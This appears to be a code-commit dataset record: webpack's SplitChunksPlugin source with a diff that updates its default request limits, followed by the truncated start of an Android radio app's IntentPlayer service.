* get list and key by applying the filter function to the list
* It is cached for performance reasons
* @param {Set<Chunk>} chunks list of chunks
* @param {ChunkFilterFunction} chunkFilter filter function for chunks
* @returns {SelectedChunksResult} list and key
*/
const getSelectedChunks = (chunks, chunkFilter) => {
let entry = selectedChunksCacheByChunksSet.get(chunks);
if (entry === undefined) {
entry = new WeakMap();
selectedChunksCacheByChunksSet.set(chunks, entry);
}
/** @type {SelectedChunksResult} */
let entry2 = entry.get(chunkFilter);
if (entry2 === undefined) {
/** @type {Chunk[]} */
const selectedChunks = [];
for (const chunk of chunks) {
if (chunkFilter(chunk)) selectedChunks.push(chunk);
}
entry2 = {
chunks: selectedChunks,
key: getKey(selectedChunks)
};
entry.set(chunkFilter, entry2);
}
return entry2;
};
/**
* @typedef {Object} ChunksInfoItem
* @property {SortableSet} modules
* @property {TODO} cacheGroup
* @property {string} name
* @property {number} size
* @property {Set<Chunk>} chunks
* @property {Set<Chunk>} reuseableChunks
* @property {Set<string>} chunksKeys
*/
// Map a list of chunks to a list of modules
// For the key the chunk "index" is used, the value is a SortableSet of modules
/** @type {Map<string, ChunksInfoItem>} */
const chunksInfoMap = new Map();
/**
* @param {TODO} cacheGroup the current cache group
* @param {Chunk[]} selectedChunks chunks selected for this module
* @param {string} selectedChunksKey a key of selectedChunks
* @param {Module} module the current module
* @returns {void}
*/
const addModuleToChunksInfoMap = (
cacheGroup,
selectedChunks,
selectedChunksKey,
module
) => {
// Break if minimum number of chunks is not reached
if (selectedChunks.length < cacheGroup.minChunks) return;
// Determine name for split chunk
const name = cacheGroup.getName(
module,
selectedChunks,
cacheGroup.key
);
// Create key for maps
// When it has a name we use the name as key
// Elsewise we create the key from chunks and cache group key
// This automatically merges equal names
const key =
(name && `name:${name}`) ||
`chunks:${selectedChunksKey} key:${cacheGroup.key}`;
// Add module to maps
let info = chunksInfoMap.get(key);
if (info === undefined) {
chunksInfoMap.set(
key,
(info = {
modules: new SortableSet(undefined, sortByIdentifier),
cacheGroup,
name,
size: 0,
chunks: new Set(),
reuseableChunks: new Set(),
chunksKeys: new Set()
})
);
}
info.modules.add(module);
info.size += module.size();
if (!info.chunksKeys.has(selectedChunksKey)) {
info.chunksKeys.add(selectedChunksKey);
for (const chunk of selectedChunks) {
info.chunks.add(chunk);
}
}
};
// Walk through all modules
for (const module of compilation.modules) {
// Get cache group
let cacheGroups = this.options.getCacheGroups(module);
if (!Array.isArray(cacheGroups) || cacheGroups.length === 0) {
continue;
}
// Prepare some values
const chunksKey = getKey(module.chunksIterable);
let combs = combinationsCache.get(chunksKey);
if (combs === undefined) {
combs = getCombinations(chunksKey);
combinationsCache.set(chunksKey, combs);
}
for (const cacheGroupSource of cacheGroups) {
const cacheGroup = {
key: cacheGroupSource.key,
priority: cacheGroupSource.priority || 0,
chunksFilter:
cacheGroupSource.chunksFilter || this.options.chunksFilter,
minSize:
cacheGroupSource.minSize !== undefined
? cacheGroupSource.minSize
: cacheGroupSource.enforce
? 0
: this.options.minSize,
minChunks:
cacheGroupSource.minChunks !== undefined
? cacheGroupSource.minChunks
: cacheGroupSource.enforce
? 1
: this.options.minChunks,
maxAsyncRequests:
cacheGroupSource.maxAsyncRequests !== undefined
? cacheGroupSource.maxAsyncRequests
: cacheGroupSource.enforce
? Infinity
: this.options.maxAsyncRequests,
maxInitialRequests:
cacheGroupSource.maxInitialRequests !== undefined
? cacheGroupSource.maxInitialRequests
: cacheGroupSource.enforce
? Infinity
: this.options.maxInitialRequests,
getName:
cacheGroupSource.getName !== undefined
? cacheGroupSource.getName
: this.options.getName,
filename:
cacheGroupSource.filename !== undefined
? cacheGroupSource.filename
: this.options.filename,
reuseExistingChunk: cacheGroupSource.reuseExistingChunk
};
// For all combination of chunk selection
for (const chunkCombination of combs) {
// Break if minimum number of chunks is not reached
if (chunkCombination.size < cacheGroup.minChunks) continue;
// Select chunks by configuration
const {
chunks: selectedChunks,
key: selectedChunksKey
} = getSelectedChunks(
chunkCombination,
cacheGroup.chunksFilter
);
addModuleToChunksInfoMap(
cacheGroup,
selectedChunks,
selectedChunksKey,
module
);
}
}
}
while (chunksInfoMap.size > 0) {
// Find best matching entry
let bestEntryKey;
let bestEntry;
for (const pair of chunksInfoMap) {
const key = pair[0];
const info = pair[1];
if (info.size >= info.cacheGroup.minSize) {
if (bestEntry === undefined) {
bestEntry = info;
bestEntryKey = key;
} else if (compareEntries(bestEntry, info) < 0) {
bestEntry = info;
bestEntryKey = key;
}
}
}
// No suitable item left
if (bestEntry === undefined) break;
const item = bestEntry;
chunksInfoMap.delete(bestEntryKey);
let chunkName = item.name;
// Variable for the new chunk (lazy created)
let newChunk;
// When no chunk name, check if we can reuse a chunk instead of creating a new one
let isReused = false;
if (item.cacheGroup.reuseExistingChunk) {
outer: for (const chunk of item.chunks) {
if (chunk.getNumberOfModules() !== item.modules.size) continue;
if (chunk.hasEntryModule()) continue;
for (const module of item.modules) {
if (!chunk.containsModule(module)) continue outer;
}
if (!newChunk || !newChunk.name) {
newChunk = chunk;
} else if (
chunk.name &&
chunk.name.length < newChunk.name.length
) {
newChunk = chunk;
} else if (
chunk.name &&
chunk.name.length === newChunk.name.length &&
chunk.name < newChunk.name
) {
newChunk = chunk;
}
chunkName = undefined;
isReused = true;
}
}
// Check if maxRequests condition can be fullfilled
const usedChunks = Array.from(item.chunks).filter(chunk => {
// skip if we address ourself
return (
(!chunkName || chunk.name !== chunkName) && chunk !== newChunk
);
});
// Skip when no chunk selected
if (usedChunks.length === 0) continue;
const chunkInLimit = usedChunks.filter(chunk => {
// respect max requests when not enforced
const maxRequests = chunk.isOnlyInitial()
? item.cacheGroup.maxInitialRequests
: chunk.canBeInitial()
? Math.min(
item.cacheGroup.maxInitialRequests,
item.cacheGroup.maxAsyncRequests
)
: item.cacheGroup.maxAsyncRequests;
return !isFinite(maxRequests) || getRequests(chunk) < maxRequests;
});
if (chunkInLimit.length < usedChunks.length) {
for (const module of item.modules) {
addModuleToChunksInfoMap(
item.cacheGroup,
chunkInLimit,
getKey(chunkInLimit),
module
);
}
continue;
}
// Create the new chunk if not reusing one
if (!isReused) {
newChunk = compilation.addChunk(chunkName);
}
// Walk through all chunks
for (const chunk of usedChunks) {
// Add graph connections for splitted chunk
chunk.split(newChunk);
}
// Add a note to the chunk
newChunk.chunkReason = isReused
? "reused as split chunk"
: "split chunk";
if (item.cacheGroup.key) {
newChunk.chunkReason += ` (cache group: ${item.cacheGroup.key})`;
}
if (chunkName) {
newChunk.chunkReason += ` (name: ${chunkName})`;
// If the chosen name is already an entry point we remove the entry point
const entrypoint = compilation.entrypoints.get(chunkName);
if (entrypoint) {
compilation.entrypoints.delete(chunkName);
entrypoint.remove();
newChunk.entryModule = undefined;
}
}
if (item.cacheGroup.filename) {
if (!newChunk.isOnlyInitial()) {
throw new Error(
"SplitChunksPlugin: You are trying to set a filename for a chunk which is (also) loaded on demand. " +
"The runtime can only handle loading of chunks which match the chunkFilename schema. " +
"Using a custom filename would fail at runtime. " +
`(cache group: ${item.cacheGroup.key})`
);
}
newChunk.filenameTemplate = item.cacheGroup.filename;
}
if (!isReused) {
// Add all modules to the new chunk
for (const module of item.modules) {
if (typeof module.chunkCondition === "function") {
if (!module.chunkCondition(newChunk)) continue;
}
// Add module to new chunk
GraphHelpers.connectChunkAndModule(newChunk, module);
// Remove module from used chunks
for (const chunk of usedChunks) {
chunk.removeModule(module);
module.rewriteChunkInReasons(chunk, [newChunk]);
}
}
} else {
// Remove all modules from used chunks
for (const module of item.modules) {
for (const chunk of usedChunks) {
chunk.removeModule(module);
module.rewriteChunkInReasons(chunk, [newChunk]);
}
}
}
// remove all modules from other entries and update size
for (const [key, info] of chunksInfoMap) {
if (isOverlap(info.chunks, item.chunks)) {
const oldSize = info.modules.size;
for (const module of item.modules) {
info.modules.delete(module);
}
if (info.modules.size === 0) {
chunksInfoMap.delete(key);
continue;
}
if (info.modules.size !== oldSize) {
info.size = getModulesSize(info.modules);
if (info.size < info.cacheGroup.minSize) {
chunksInfoMap.delete(key);
}
}
}
}
}
}
);
});
}
};
| lib/optimize/SplitChunksPlugin.js | /*
MIT License http://www.opensource.org/licenses/mit-license.php
Author Tobias Koppers @sokra
*/
"use strict";
const crypto = require("crypto");
const SortableSet = require("../util/SortableSet");
const GraphHelpers = require("../GraphHelpers");
const { isSubset } = require("../util/SetHelpers");
/** @typedef {import("../Chunk")} Chunk */
/** @typedef {import("../Module")} Module */
const hashFilename = name => {
return crypto
.createHash("md4")
.update(name)
.digest("hex")
.slice(0, 8);
};
const sortByIdentifier = (a, b) => {
if (a.identifier() > b.identifier()) return 1;
if (a.identifier() < b.identifier()) return -1;
return 0;
};
const getRequests = chunk => {
let requests = 0;
for (const chunkGroup of chunk.groupsIterable) {
requests = Math.max(requests, chunkGroup.chunks.length);
}
return requests;
};
const getModulesSize = modules => {
let sum = 0;
for (const m of modules) {
sum += m.size();
}
return sum;
};
/**
* @template T
* @param {Set<T>} a set
* @param {Set<T>} b other set
* @returns {boolean} true if at least one item of a is in b
*/
const isOverlap = (a, b) => {
for (const item of a) {
if (b.has(item)) return true;
}
return false;
};
const compareEntries = (a, b) => {
// 1. by priority
const diffPriority = a.cacheGroup.priority - b.cacheGroup.priority;
if (diffPriority) return diffPriority;
// 2. by number of chunks
const diffCount = a.chunks.size - b.chunks.size;
if (diffCount) return diffCount;
// 3. by size reduction
const aSizeReduce = a.size * (a.chunks.size - 1);
const bSizeReduce = b.size * (b.chunks.size - 1);
const diffSizeReduce = aSizeReduce - bSizeReduce;
if (diffSizeReduce) return diffSizeReduce;
// 4. by number of modules (to be able to compare by identifier)
const modulesA = a.modules;
const modulesB = b.modules;
const diff = modulesA.size - modulesB.size;
if (diff) return diff;
// 5. by module identifiers
modulesA.sort();
modulesB.sort();
const aI = modulesA[Symbol.iterator]();
const bI = modulesB[Symbol.iterator]();
// eslint-disable-next-line no-constant-condition
while (true) {
const aItem = aI.next();
const bItem = bI.next();
if (aItem.done) return 0;
const aModuleIdentifier = aItem.value.identifier();
const bModuleIdentifier = bItem.value.identifier();
if (aModuleIdentifier > bModuleIdentifier) return -1;
if (aModuleIdentifier < bModuleIdentifier) return 1;
}
};
const INITIAL_CHUNK_FILTER = chunk => chunk.canBeInitial();
const ASYNC_CHUNK_FILTER = chunk => !chunk.canBeInitial();
const ALL_CHUNK_FILTER = chunk => true;
module.exports = class SplitChunksPlugin {
constructor(options) {
this.options = SplitChunksPlugin.normalizeOptions(options);
}
static normalizeOptions(options = {}) {
return {
chunksFilter: SplitChunksPlugin.normalizeChunksFilter(
options.chunks || "all"
),
minSize: options.minSize || 0,
minChunks: options.minChunks || 1,
maxAsyncRequests: options.maxAsyncRequests || 1,
maxInitialRequests: options.maxInitialRequests || 1,
getName:
SplitChunksPlugin.normalizeName({
name: options.name,
automaticNameDelimiter: options.automaticNameDelimiter
}) || (() => {}),
filename: options.filename || undefined,
getCacheGroups: SplitChunksPlugin.normalizeCacheGroups({
cacheGroups: options.cacheGroups,
automaticNameDelimiter: options.automaticNameDelimiter
})
};
}
static normalizeName({ name, automaticNameDelimiter }) {
if (name === true) {
const cache = new Map();
const fn = (module, chunks, cacheGroup) => {
let cacheEntry = cache.get(chunks);
if (cacheEntry === undefined) {
cacheEntry = {};
cache.set(chunks, cacheEntry);
} else if (cacheGroup in cacheEntry) {
return cacheEntry[cacheGroup];
}
const names = chunks.map(c => c.name);
if (!names.every(Boolean)) {
cacheEntry[cacheGroup] = undefined;
return;
}
names.sort();
let name =
(cacheGroup && cacheGroup !== "default"
? cacheGroup + automaticNameDelimiter
: "") + names.join(automaticNameDelimiter);
// Filenames and paths can't be too long otherwise an
// ENAMETOOLONG error is raised. If the generated name if too
// long, it is truncated and a hash is appended. The limit has
// been set to 100 to prevent `[name].[chunkhash].[ext]` from
// generating a 256+ character string.
if (name.length > 100) {
name =
name.slice(0, 100) + automaticNameDelimiter + hashFilename(name);
}
cacheEntry[cacheGroup] = name;
return name;
};
return fn;
}
if (typeof name === "string") {
const fn = () => {
return name;
};
return fn;
}
if (typeof name === "function") return name;
}
static normalizeChunksFilter(chunks) {
if (chunks === "initial") {
return INITIAL_CHUNK_FILTER;
}
if (chunks === "async") {
return ASYNC_CHUNK_FILTER;
}
if (chunks === "all") {
return ALL_CHUNK_FILTER;
}
if (typeof chunks === "function") return chunks;
}
static normalizeCacheGroups({ cacheGroups, automaticNameDelimiter }) {
if (typeof cacheGroups === "function") {
// TODO webpack 5 remove this
if (cacheGroups.length !== 1) {
return module => cacheGroups(module, module.getChunks());
}
return cacheGroups;
}
if (cacheGroups && typeof cacheGroups === "object") {
const fn = module => {
let results;
for (const key of Object.keys(cacheGroups)) {
let option = cacheGroups[key];
if (option === false) continue;
if (option instanceof RegExp || typeof option === "string") {
option = {
test: option
};
}
if (typeof option === "function") {
let result = option(module);
if (result) {
if (results === undefined) results = [];
for (const r of Array.isArray(result) ? result : [result]) {
const result = Object.assign({ key }, r);
if (result.name) result.getName = () => result.name;
if (result.chunks) {
result.chunksFilter = SplitChunksPlugin.normalizeChunksFilter(
result.chunks
);
}
results.push(result);
}
}
} else if (SplitChunksPlugin.checkTest(option.test, module)) {
if (results === undefined) results = [];
results.push({
key: key,
priority: option.priority,
getName: SplitChunksPlugin.normalizeName({
name: option.name,
automaticNameDelimiter
}),
chunksFilter: SplitChunksPlugin.normalizeChunksFilter(
option.chunks
),
enforce: option.enforce,
minSize: option.minSize,
minChunks: option.minChunks,
maxAsyncRequests: option.maxAsyncRequests,
maxInitialRequests: option.maxInitialRequests,
filename: option.filename,
reuseExistingChunk: option.reuseExistingChunk
});
}
}
return results;
};
return fn;
}
const fn = () => {};
return fn;
}
static checkTest(test, module) {
if (test === undefined) return true;
if (typeof test === "function") {
if (test.length !== 1) {
return test(module, module.getChunks());
}
return test(module);
}
if (typeof test === "boolean") return test;
if (typeof test === "string") {
if (
module.nameForCondition &&
module.nameForCondition().startsWith(test)
) {
return true;
}
for (const chunk of module.chunksIterable) {
if (chunk.name && chunk.name.startsWith(test)) {
return true;
}
}
return false;
}
if (test instanceof RegExp) {
if (module.nameForCondition && test.test(module.nameForCondition())) {
return true;
}
for (const chunk of module.chunksIterable) {
if (chunk.name && test.test(chunk.name)) {
return true;
}
}
return false;
}
return false;
}
apply(compiler) {
compiler.hooks.thisCompilation.tap("SplitChunksPlugin", compilation => {
let alreadyOptimized = false;
compilation.hooks.unseal.tap("SplitChunksPlugin", () => {
alreadyOptimized = false;
});
compilation.hooks.optimizeChunksAdvanced.tap(
"SplitChunksPlugin",
chunks => {
if (alreadyOptimized) return;
alreadyOptimized = true;
// Give each selected chunk an index (to create strings from chunks)
const indexMap = new Map();
let index = 1;
for (const chunk of chunks) {
indexMap.set(chunk, index++);
}
const getKey = chunks => {
return Array.from(chunks, c => indexMap.get(c))
.sort()
.join();
};
/** @type {Map<string, Set<Chunk>>} */
const chunkSetsInGraph = new Map();
for (const module of compilation.modules) {
const chunksKey = getKey(module.chunksIterable);
if (!chunkSetsInGraph.has(chunksKey)) {
chunkSetsInGraph.set(chunksKey, new Set(module.chunksIterable));
}
}
// group these set of chunks by count
// to allow to check less sets via isSubset
// (only smaller sets can be subset)
/** @type {Map<number, Array<Set<Chunk>>>} */
const chunkSetsByCount = new Map();
for (const chunksSet of chunkSetsInGraph.values()) {
const count = chunksSet.size;
let array = chunkSetsByCount.get(count);
if (array === undefined) {
array = [];
chunkSetsByCount.set(count, array);
}
array.push(chunksSet);
}
// Create a list of possible combinations
const combinationsCache = new Map(); // Map<string, Set<Chunk>[]>
const getCombinations = key => {
const chunksSet = chunkSetsInGraph.get(key);
var array = [chunksSet];
if (chunksSet.size > 1) {
for (const [count, setArray] of chunkSetsByCount) {
// "equal" is not needed because they would have been merge in the first step
if (count < chunksSet.size) {
for (const set of setArray) {
if (isSubset(chunksSet, set)) {
array.push(set);
}
}
}
}
}
return array;
};
/**
* @typedef {Object} SelectedChunksResult
* @property {Chunk[]} chunks the list of chunks
* @property {string} key a key of the list
*/
/**
* @typedef {function(Chunk): boolean} ChunkFilterFunction
*/
/** @type {WeakMap<Set<Chunk>, WeakMap<ChunkFilterFunction, SelectedChunksResult>>} */
const selectedChunksCacheByChunksSet = new WeakMap();
/**
* get list and key by applying the filter function to the list
* It is cached for performance reasons
* @param {Set<Chunk>} chunks list of chunks
* @param {ChunkFilterFunction} chunkFilter filter function for chunks
* @returns {SelectedChunksResult} list and key
*/
const getSelectedChunks = (chunks, chunkFilter) => {
let entry = selectedChunksCacheByChunksSet.get(chunks);
if (entry === undefined) {
entry = new WeakMap();
selectedChunksCacheByChunksSet.set(chunks, entry);
}
/** @type {SelectedChunksResult} */
let entry2 = entry.get(chunkFilter);
if (entry2 === undefined) {
/** @type {Chunk[]} */
const selectedChunks = [];
for (const chunk of chunks) {
if (chunkFilter(chunk)) selectedChunks.push(chunk);
}
entry2 = {
chunks: selectedChunks,
key: getKey(selectedChunks)
};
entry.set(chunkFilter, entry2);
}
return entry2;
};
/**
* @typedef {Object} ChunksInfoItem
* @property {SortableSet} modules
* @property {TODO} cacheGroup
* @property {string} name
* @property {number} size
* @property {Set<Chunk>} chunks
* @property {Set<Chunk>} reuseableChunks
* @property {Set<string>} chunksKeys
*/
// Map a list of chunks to a list of modules
// For the key the chunk "index" is used, the value is a SortableSet of modules
/** @type {Map<string, ChunksInfoItem>} */
const chunksInfoMap = new Map();
/**
* @param {TODO} cacheGroup the current cache group
* @param {Chunk[]} selectedChunks chunks selected for this module
* @param {string} selectedChunksKey a key of selectedChunks
* @param {Module} module the current module
* @returns {void}
*/
const addModuleToChunksInfoMap = (
cacheGroup,
selectedChunks,
selectedChunksKey,
module
) => {
// Break if minimum number of chunks is not reached
if (selectedChunks.length < cacheGroup.minChunks) return;
// Determine name for split chunk
const name = cacheGroup.getName(
module,
selectedChunks,
cacheGroup.key
);
// Create key for maps
// When it has a name we use the name as key
// Elsewise we create the key from chunks and cache group key
// This automatically merges equal names
const key =
(name && `name:${name}`) ||
`chunks:${selectedChunksKey} key:${cacheGroup.key}`;
// Add module to maps
let info = chunksInfoMap.get(key);
if (info === undefined) {
chunksInfoMap.set(
key,
(info = {
modules: new SortableSet(undefined, sortByIdentifier),
cacheGroup,
name,
size: 0,
chunks: new Set(),
reuseableChunks: new Set(),
chunksKeys: new Set()
})
);
}
info.modules.add(module);
info.size += module.size();
if (!info.chunksKeys.has(selectedChunksKey)) {
info.chunksKeys.add(selectedChunksKey);
for (const chunk of selectedChunks) {
info.chunks.add(chunk);
}
}
};
// Walk through all modules
for (const module of compilation.modules) {
// Get cache group
let cacheGroups = this.options.getCacheGroups(module);
if (!Array.isArray(cacheGroups) || cacheGroups.length === 0) {
continue;
}
// Prepare some values
const chunksKey = getKey(module.chunksIterable);
let combs = combinationsCache.get(chunksKey);
if (combs === undefined) {
combs = getCombinations(chunksKey);
combinationsCache.set(chunksKey, combs);
}
for (const cacheGroupSource of cacheGroups) {
const cacheGroup = {
key: cacheGroupSource.key,
priority: cacheGroupSource.priority || 0,
chunksFilter:
cacheGroupSource.chunksFilter || this.options.chunksFilter,
minSize:
cacheGroupSource.minSize !== undefined
? cacheGroupSource.minSize
: cacheGroupSource.enforce
? 0
: this.options.minSize,
minChunks:
cacheGroupSource.minChunks !== undefined
? cacheGroupSource.minChunks
: cacheGroupSource.enforce
? 1
: this.options.minChunks,
maxAsyncRequests:
cacheGroupSource.maxAsyncRequests !== undefined
? cacheGroupSource.maxAsyncRequests
: cacheGroupSource.enforce
? Infinity
: this.options.maxAsyncRequests,
maxInitialRequests:
cacheGroupSource.maxInitialRequests !== undefined
? cacheGroupSource.maxInitialRequests
: cacheGroupSource.enforce
? Infinity
: this.options.maxInitialRequests,
getName:
cacheGroupSource.getName !== undefined
? cacheGroupSource.getName
: this.options.getName,
filename:
cacheGroupSource.filename !== undefined
? cacheGroupSource.filename
: this.options.filename,
reuseExistingChunk: cacheGroupSource.reuseExistingChunk
};
// For all combination of chunk selection
for (const chunkCombination of combs) {
// Break if minimum number of chunks is not reached
if (chunkCombination.size < cacheGroup.minChunks) continue;
// Select chunks by configuration
const {
chunks: selectedChunks,
key: selectedChunksKey
} = getSelectedChunks(
chunkCombination,
cacheGroup.chunksFilter
);
addModuleToChunksInfoMap(
cacheGroup,
selectedChunks,
selectedChunksKey,
module
);
}
}
}
while (chunksInfoMap.size > 0) {
// Find best matching entry
let bestEntryKey;
let bestEntry;
for (const pair of chunksInfoMap) {
const key = pair[0];
const info = pair[1];
if (info.size >= info.cacheGroup.minSize) {
if (bestEntry === undefined) {
bestEntry = info;
bestEntryKey = key;
} else if (compareEntries(bestEntry, info) < 0) {
bestEntry = info;
bestEntryKey = key;
}
}
}
// No suitable item left
if (bestEntry === undefined) break;
const item = bestEntry;
chunksInfoMap.delete(bestEntryKey);
let chunkName = item.name;
// Variable for the new chunk (lazy created)
let newChunk;
// When no chunk name, check if we can reuse a chunk instead of creating a new one
let isReused = false;
if (item.cacheGroup.reuseExistingChunk) {
outer: for (const chunk of item.chunks) {
if (chunk.getNumberOfModules() !== item.modules.size) continue;
if (chunk.hasEntryModule()) continue;
for (const module of item.modules) {
if (!chunk.containsModule(module)) continue outer;
}
if (!newChunk || !newChunk.name) {
newChunk = chunk;
} else if (
chunk.name &&
chunk.name.length < newChunk.name.length
) {
newChunk = chunk;
} else if (
chunk.name &&
chunk.name.length === newChunk.name.length &&
chunk.name < newChunk.name
) {
newChunk = chunk;
}
chunkName = undefined;
isReused = true;
}
}
// Check if maxRequests condition can be fullfilled
const usedChunks = Array.from(item.chunks).filter(chunk => {
// skip if we address ourself
return (
(!chunkName || chunk.name !== chunkName) && chunk !== newChunk
);
});
// Skip when no chunk selected
if (usedChunks.length === 0) continue;
const chunkInLimit = usedChunks.filter(chunk => {
// respect max requests when not enforced
const maxRequests = chunk.isOnlyInitial()
? item.cacheGroup.maxInitialRequests
: chunk.canBeInitial()
? Math.min(
item.cacheGroup.maxInitialRequests,
item.cacheGroup.maxAsyncRequests
)
: item.cacheGroup.maxAsyncRequests;
return !isFinite(maxRequests) || getRequests(chunk) < maxRequests;
});
if (chunkInLimit.length < usedChunks.length) {
for (const module of item.modules) {
addModuleToChunksInfoMap(
item.cacheGroup,
chunkInLimit,
getKey(chunkInLimit),
module
);
}
continue;
}
// Create the new chunk if not reusing one
if (!isReused) {
newChunk = compilation.addChunk(chunkName);
}
// Walk through all chunks
for (const chunk of usedChunks) {
// Add graph connections for splitted chunk
chunk.split(newChunk);
}
// Add a note to the chunk
newChunk.chunkReason = isReused
? "reused as split chunk"
: "split chunk";
if (item.cacheGroup.key) {
newChunk.chunkReason += ` (cache group: ${item.cacheGroup.key})`;
}
if (chunkName) {
newChunk.chunkReason += ` (name: ${chunkName})`;
// If the chosen name is already an entry point we remove the entry point
const entrypoint = compilation.entrypoints.get(chunkName);
if (entrypoint) {
compilation.entrypoints.delete(chunkName);
entrypoint.remove();
newChunk.entryModule = undefined;
}
}
if (item.cacheGroup.filename) {
if (!newChunk.isOnlyInitial()) {
throw new Error(
"SplitChunksPlugin: You are trying to set a filename for a chunk which is (also) loaded on demand. " +
"The runtime can only handle loading of chunks which match the chunkFilename schema. " +
"Using a custom filename would fail at runtime. " +
`(cache group: ${item.cacheGroup.key})`
);
}
newChunk.filenameTemplate = item.cacheGroup.filename;
}
if (!isReused) {
// Add all modules to the new chunk
for (const module of item.modules) {
if (typeof module.chunkCondition === "function") {
if (!module.chunkCondition(newChunk)) continue;
}
// Add module to new chunk
GraphHelpers.connectChunkAndModule(newChunk, module);
// Remove module from used chunks
for (const chunk of usedChunks) {
chunk.removeModule(module);
module.rewriteChunkInReasons(chunk, [newChunk]);
}
}
} else {
// Remove all modules from used chunks
for (const module of item.modules) {
for (const chunk of usedChunks) {
chunk.removeModule(module);
module.rewriteChunkInReasons(chunk, [newChunk]);
}
}
}
// remove all modules from other entries and update size
for (const [key, info] of chunksInfoMap) {
if (isOverlap(info.chunks, item.chunks)) {
const oldSize = info.modules.size;
for (const module of item.modules) {
info.modules.delete(module);
}
if (info.modules.size === 0) {
chunksInfoMap.delete(key);
continue;
}
if (info.modules.size !== oldSize) {
info.size = getModulesSize(info.modules);
if (info.size < info.cacheGroup.minSize) {
chunksInfoMap.delete(key);
}
}
}
}
}
}
);
});
}
};
| update defaults
| lib/optimize/SplitChunksPlugin.js | update defaults | <ide><path>ib/optimize/SplitChunksPlugin.js
<ide> ),
<ide> minSize: options.minSize || 0,
<ide> minChunks: options.minChunks || 1,
<del> maxAsyncRequests: options.maxAsyncRequests || 1,
<del> maxInitialRequests: options.maxInitialRequests || 1,
<add> maxAsyncRequests: options.maxAsyncRequests || 6,
<add> maxInitialRequests: options.maxInitialRequests || 4,
<ide> getName:
<ide> SplitChunksPlugin.normalizeName({
<ide> name: options.name, |
|
Java | mit | 70b7e2159a73679f0c3dc07ac79846d839076a9e | 0 | smblott-github/intent_radio,smblott-github/intent_radio,smblott-github/intent_radio | package org.smblott.intentradio;
import android.app.Service;
import android.content.Intent;
import android.content.Context;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.os.AsyncTask;
import android.os.IBinder;
import android.os.PowerManager;
import android.os.StrictMode;
import android.media.AudioManager;
import android.media.AudioManager.OnAudioFocusChangeListener;
import android.media.MediaPlayer;
import android.media.MediaPlayer.OnBufferingUpdateListener;
import android.media.MediaPlayer.OnErrorListener;
import android.media.MediaPlayer.OnInfoListener;
import android.media.MediaPlayer.OnPreparedListener;
import android.media.MediaPlayer.OnCompletionListener;
import android.net.Uri;
import android.os.Build.VERSION;
import android.webkit.URLUtil;
public class IntentPlayer extends Service
implements
OnBufferingUpdateListener,
OnInfoListener,
OnErrorListener,
OnPreparedListener,
OnAudioFocusChangeListener,
OnCompletionListener
{
/* ********************************************************************
* Globals...
*/
private static final int note_id = 100;
private static final String preference_file = "state";
private static SharedPreferences settings = null;
private static Context context = null;
private static String app_name = null;
private static String app_name_long = null;
private static String intent_play = null;
private static String intent_stop = null;
private static String intent_pause = null;
private static String intent_restart = null;
private static String intent_state_request = null;
private static String intent_click = null;
private static String default_url = null;
private static String default_name = null;
public static String name = null;
public static String url = null;
private static MediaPlayer player = null;
private static AudioManager audio_manager = null;
private static Playlist playlist_task = null;
private static AsyncTask<Integer,Void,Void> pause_task = null;
private static Connectivity connectivity = null;
/* ********************************************************************
* Create service...
*/
@Override
public void onCreate() {
context = getApplicationContext();
Logger.init(context);
Notify.init(this,context);
app_name = getString(R.string.app_name);
app_name_long = getString(R.string.app_name_long);
intent_play = getString(R.string.intent_play);
intent_stop = getString(R.string.intent_stop);
intent_pause = getString(R.string.intent_pause);
intent_restart = getString(R.string.intent_restart);
intent_state_request = context.getString(R.string.intent_state_request);
intent_click = getString(R.string.intent_click);
default_url = getString(R.string.default_url);
default_name = getString(R.string.default_name);
settings = getSharedPreferences(preference_file, context.MODE_PRIVATE);
url = settings.getString("url", default_url);
name = settings.getString("name", default_name);
audio_manager = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
connectivity = new Connectivity(context,this);
}
/* ********************************************************************
* Destroy service...
*/
public void onDestroy()
{
log("Destroyed.");
stop();
if ( player != null )
{
player.release();
player = null;
}
if ( connectivity != null )
{
connectivity.destroy();
connectivity = null;
}
Logger.state("off");
super.onDestroy();
}
/* ********************************************************************
* Main entry point...
*/
@Override
public int onStartCommand(Intent intent, int flags, int startId)
{
if ( intent == null || ! intent.hasExtra("action") )
return done();
if ( intent.hasExtra("debug") )
Logger.state(intent.getStringExtra("debug"));
if ( ! Counter.still(intent.getIntExtra("counter", Counter.now())) )
return done();
String action = intent.getStringExtra("action");
log("Action: ", action);
if ( action.equals(intent_stop) ) return stop();
if ( action.equals(intent_pause) ) return pause();
if ( action.equals(intent_restart) ) return restart();
if ( action.equals(intent_click) ) return click();
if ( action.equals(intent_state_request) )
{
State.get_state(context);
return done();
}
if ( action.equals(intent_play) )
{
if ( intent.hasExtra("url") )
url = intent.getStringExtra("url");
if ( intent.hasExtra("name") )
name = intent.getStringExtra("name");
Editor editor = settings.edit();
editor.putString("url", url);
editor.putString("name", name);
editor.commit();
log("Name: ", name);
log("URL: ", url);
Notify.name(name);
return play(url);
}
log("unknown action: ", action);
return done();
}
/* ********************************************************************
* Play...
*/
public int play()
{ return play(url); }
private int play(String url)
{
stop(false);
toast(name);
log("Play: ", url);
if ( ! URLUtil.isValidUrl(url) )
{
toast("Invalid URL.");
return stop();
}
if ( isNetworkUrl(url) && ! Connectivity.isConnected(context) )
{
toast("No internet connection; will not start playback.");
stop(false);
State.set_state(context, State.STATE_DISCONNECTED, isNetworkUrl());
return done();
}
int focus = audio_manager.requestAudioFocus(this, AudioManager.STREAM_MUSIC, AudioManager.AUDIOFOCUS_GAIN);
if ( focus != AudioManager.AUDIOFOCUS_REQUEST_GRANTED )
{
toast("Could not obtain audio focus; not playing.");
return stop();
}
// /////////////////////////////////////////////////////////////////
// Set up media player...
if ( player == null )
{
log("Creating media player...");
player = new MediaPlayer();
player.setWakeMode(context, PowerManager.PARTIAL_WAKE_LOCK);
player.setAudioStreamType(AudioManager.STREAM_MUSIC);
player.setOnPreparedListener(this);
player.setOnBufferingUpdateListener(this);
player.setOnInfoListener(this);
player.setOnErrorListener(this);
player.setOnCompletionListener(this);
}
if ( isNetworkUrl(url) )
WifiLocker.lock(context, app_name_long);
log("Connecting...");
playlist_task = new Playlist(this,url).start();
// The Playlist object calls play_launch(url), when it's ready.
return done(State.STATE_BUFFER);
}
/* ********************************************************************
* Launch player...
*/
// The launch_url may be different from the original URL. For example, it
// could be the URL extracted from a playlist.
private static String launch_url = null;
public int play_launch(String url)
{
log("Launching: ", url);
launch_url = null;
